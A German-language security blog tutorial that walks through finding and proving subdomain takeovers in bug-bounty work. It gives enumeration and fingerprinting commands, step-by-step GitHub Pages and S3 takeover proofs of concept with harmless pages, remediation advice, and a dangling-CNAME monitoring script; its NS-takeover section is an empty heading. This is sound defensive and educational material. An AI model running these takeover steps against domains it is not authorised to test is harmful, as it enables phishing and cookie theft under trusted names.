← Zurück zum Blog

Subdomain-Übernahme: Schritt-für-Schritt-Anleitung zur Erkennung und zum Proof of Concept

Subdomain-Übernahmen gehören zu den am zuverlässigsten reproduzierbaren Schwachstellen mit hohem Schweregrad in Bug-Bounty-Programmen. Wenn ein CNAME-Eintrag auf einen nicht beanspruchten Dienst verweist, kann jeder Angreifer diesen Dienst registrieren und schädliche Inhalte unter Ihrer vertrauenswürdigen Domain bereitstellen — um Cookies zu stehlen, Phishing durchzuführen und CORS-Beschränkungen zu umgehen.

---

Subdomain-Übernahmen verstehen

Warum der Schweregrad hoch ist

• Cookie-Diebstahl — Cookies mit Gültigkeitsbereich .company.com werden an die vom Angreifer kontrollierten Inhalte gesendet
• CORS-Umgehung — APIs, die *.company.com vertrauen, vertrauen auch der Subdomain des Angreifers
• Phishing — Legitime Unternehmensdomain mit Inhalten des Angreifers = äußerst glaubwürdiges Phishing
• CSP-Umgehung — Wenn company.com die eigenen Subdomains in der CSP auf die Positivliste setzt
• OAuth-Weiterleitung — Wenn die Subdomain als redirect_uri registriert ist
• E-Mail-Zustellung — Wenn die Subdomain zum E-Mail-Versand verwendet wird (SPF/DMARC)

---

Phase 1: Asset-Erkennung

Subdomain-Aufzählung

# Passive Aufzählung
subfinder -d target.com -silent -all -o passive_subs.txt

# Aktives Brute-Forcing
amass enum -active -d target.com -o active_subs.txt

# Certificate Transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[].name_value' | sort -u | tee ct_subs.txt

# Zusammenführen und Duplikate entfernen
cat passive_subs.txt active_subs.txt ct_subs.txt | \
  sort -u > all_subs.txt

Prüfung der DNS-Auflösung

# Prüfen, welche Subdomains aufgelöst werden
cat all_subs.txt | dnsx -silent -resp | tee resolved_subs.txt

# CNAMEs finden
cat all_subs.txt | dnsx -silent -cname -resp | tee cnames.txt

# Beispielausgabe:
# legacy.target.com -> company.azurewebsites.net
# api-old.target.com -> company.github.io
# status.target.com -> company.statuspage.io

---

Phase 2: Verwaiste CNAMEs identifizieren

Manuelle Überprüfung

# Prüfen, ob das CNAME-Ziel nicht beansprucht ist
dig +short legacy.target.com
# Rückgabe: company.azurewebsites.net

# Prüfen, ob dieser Hostname antwortet
curl -v -H "Host: company.azurewebsites.net" \
  https://company.azurewebsites.net 2>&1 | head -20

# Nach „Übernahme-Fingerabdrücken“ suchen:
# Azure: "404 Web Site not found"
# GitHub Pages: "There isn't a GitHub Pages site here"
# Heroku: "No such app"
# AWS S3: "NoSuchBucket"
# Fastly: "Fastly error: unknown domain"

Automatisierte Erkennung mit Nuclei

# Nuclei verfügt über integrierte Vorlagen für Subdomain-Übernahmen
nuclei -l all_subs.txt -t takeovers/ -silent

# Alternativ subjack verwenden
go install github.com/haccer/subjack@latest
subjack -w all_subs.txt -t 100 -timeout 30 \
  -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
  -o takeover_results.txt

Die Referenz Can-I-Take-Over-XYZ

Das Repository can-i-take-over-xyz pflegt Fingerabdrücke für mehr als 500 Dienste. Wichtige zu prüfende Dienste:

Dienst	Fingerabdruck	Übernahme möglich?
GitHub Pages	"There isn't a GitHub Pages site here"	✅ Ja
AWS S3	"NoSuchBucket"	✅ Ja (gleiche Region)
Azure Web Apps	"404 Web Site not found"	✅ Ja
Heroku	"No such app"	✅ Ja
Shopify	"Sorry, this shop is currently unavailable"	✅ Ja
Fastly	"Fastly error: unknown domain"	✅ Ja
Pantheon	"404 error unknown site"	✅ Ja
Wordpress.com	"Do you want to register..."	✅ Ja
Zendesk	"Help Center Closed"	✅ Ja
Surge.sh	"project not found"	✅ Ja

---

Phase 3: Proof of Concept (sicher)

PoC für eine GitHub-Pages-Übernahme

# Schritt 1: Verwaisten CNAME bestätigen
dig +short blog-old.target.com
# Rückgabe: targetcompany.github.io

# Schritt 2: Fingerabdruck prüfen
curl -s https://blog-old.target.com | grep -i "github"
# Rückgabe: "There isn't a GitHub Pages site here"

# Schritt 3: PoC-Repository erstellen
# GitHub-Repository erstellen: targetcompany.github.io (falls verfügbar) oder
# GitHub Pages mit einer benutzerdefinierten Domain erstellen, die dem CNAME-Ziel entspricht

# Schritt 4: CNAME-Datei zum Repository hinzufügen
echo "blog-old.target.com" > CNAME

# Schritt 5: Verantwortungsvolle PoC-Seite hinzufügen
cat > index.html << 'EOF'
<!-- SICHERHEITSUNTERSUCHUNG – PoC EINER SUBDOMAIN-ÜBERNAHME -->
<!-- Diese Seite wird von einem Sicherheitsforscher gehostet, -->
<!-- um eine Schwachstelle zur Subdomain-Übernahme zu demonstrieren -->
<!-- Es werden keine schädlichen Handlungen durchgeführt -->
<h1>Subdomain-Übernahme – PoC einer Sicherheitsuntersuchung</h1>
<p>Diese Subdomain (blog-old.target.com) ist für eine Übernahme anfällig.</p>
<p>Forscher: [Ihr Benutzername]</p>
<p>Gemeldet: [Datum]</p>
EOF

PoC für die Übernahme eines AWS-S3-Buckets

# Verwaisten CNAME bestätigen
dig +short assets-legacy.target.com
# Rückgabe: target-legacy-assets.s3.amazonaws.com

# Antwort prüfen
curl -v https://assets-legacy.target.com 2>&1 | grep -i "NoSuchBucket"
# „Der angegebene Bucket existiert nicht“ -> Anfällig!

# Region aus den Antwort-Headern entnehmen oder Folgendes versuchen:
# us-east-1 ist der Standard, wenn kein Regions-Header vorhanden ist

# PoC-Bucket erstellen (GLEICHER NAME wie das CNAME-Ziel)
aws s3 mb s3://target-legacy-assets --region us-east-1

# Statisches Hosting aktivieren
aws s3 website s3://target-legacy-assets \
  --index-document index.html

# Verantwortungsbewussten PoC hochladen
echo "<h1>PoC einer Subdomain-Übernahme – Sicherheitsuntersuchung</h1>" | \
  aws s3 cp - s3://target-legacy-assets/index.html \
  --content-type text/html --acl public-read

Auswirkungen dokumentieren

# Cookie-Zugriff demonstrieren (NUR mit einem von IHNEN kontrollierten Testkonto)
# Testkonto erstellen, Cookies setzen und Ihre PoC-Seite aufrufen
# Screenshot erstellen, der den Inhalt von document.cookie zeigt
# Dies belegt den Gültigkeitsbereich für Cookie-Diebstahl

# Mit Screenshots dokumentieren:
# 1. DNS-Abfrage mit verwaistem CNAME
# 2. Fingerabdruck-Antwort (NoSuchBucket usw.)
# 3. Ihre unter der Subdomain gehostete PoC-Seite
# 4. Browser mit der legitimen Domain und Ihren Inhalten
# 5. (Optional) Zugriff auf Test-Cookies aus dem eigenen Testkonto

---

Phase 4: Dauerhafte Behebung

Sofortige Behebung

1. Verwaisten CNAME entfernen — Löschen Sie den DNS-Eintrag, der auf den nicht beanspruchten Dienst verweist
2. Oder Dienst erneut beanspruchen — Registrieren Sie den Zielhostnamen beim Dienstanbieter erneut
3. Überprüfen Sie alle anderen Subdomains auf ähnliche verwaiste Einträge

Langfristige Prävention

# Kontinuierliche Subdomain-Überwachung automatisieren
# Alle CNAMEs wöchentlich auf verwaisten Status prüfen

#!/bin/bash
# monitor_dangling_cnames.sh
while IFS= read -r subdomain; do
  cname=$(dig +short CNAME "$subdomain" | head -1)
  if [ -n "$cname" ]; then
    # CNAME-Ziel auflösen
    ip=$(dig +short "$cname" | tail -1)
    if [ -z "$ip" ]; then
      echo "VERWAISTER CNAME: $subdomain -> $cname"
      # Warnung senden
    fi
  fi
done < subdomains.txt

---

Übernahmen von A- und NS-Einträgen

Übernahmen von A-Einträgen (Elastic IPs)

# Prüfen, ob der A-Eintrag auf eine nicht zugewiesene Cloud-IP verweist
dig +short api-legacy.target.com
# Rückgabe: 52.xxx.xxx.xxx

# Prüfen, ob die IP zu AWS gehört
curl https://ip-ranges.amazonaws.com/ip-ranges.json | \
  python3 -c "import json,sys; \
  [print(p['prefix'], p['region'], p['service']) \
  for p in json.load(sys.stdin)['prefixes'] \
  if '52.xxx.xxx' in p.get('ip_prefix','')]"

# Falls es sich um eine AWS-IP handelt, versuchen Sie, sie durch das Starten einer EC2-Instanz mit dieser IP zu beanspruchen
# (Nur mit ausdrücklicher Genehmigung durchführen)

NS-Übernahme (am kritischsten)

---

FAQ

Ist eine Subdomain-Übernahme immer eine kritische Schwachstelle?

Der Schweregrad hängt von der Funktion und dem Vertrauensniveau der Subdomain ab. Eine Marketing-Subdomain ohne relevante Cookies könnte den Schweregrad „Mittel“ haben. Eine Subdomain, die als OAuth-Weiterleitungs-URI aufgeführt ist, der CORS-Richtlinien vertrauen oder die Cookies mit Gültigkeitsbereich für die Root-Domain empfängt, ist kritisch. Bewerten Sie stets die tatsächlich verfügbaren Angriffspfade für einen Angreifer, der die Subdomain kontrolliert.

Kann ich die Subdomain während der Untersuchung ohne Genehmigung übernehmen?

Dies hängt vollständig von den Regeln Ihres Bug-Bounty-Programms ab. Viele Programme erlauben PoC-Übernahmen mit einer verantwortungsvollen Offenlegungsseite. Einige verbieten sie ausdrücklich. Stellen Sie im Zweifelsfall die DNS-Nachweise (verwaister CNAME + Fingerabdruck-Antwort) bereit, ohne die Subdomain zu übernehmen. Fügen Sie einen Screenshot dessen bei, was Sie tun könnten, wenn Sie den Dienst registrieren würden.

Wie lange haben Programme für die Behebung?

Subdomain-Übernahmen sollten als kritisch behandelt werden — die Behebung ist einfach (DNS-Eintrag löschen), und das Risiko einer tatsächlichen Ausnutzung durch Angreifer ist hoch. Die meisten Programme erwarten bei aktiven Subdomain-Übernahmen eine Behebung am selben oder am folgenden Tag.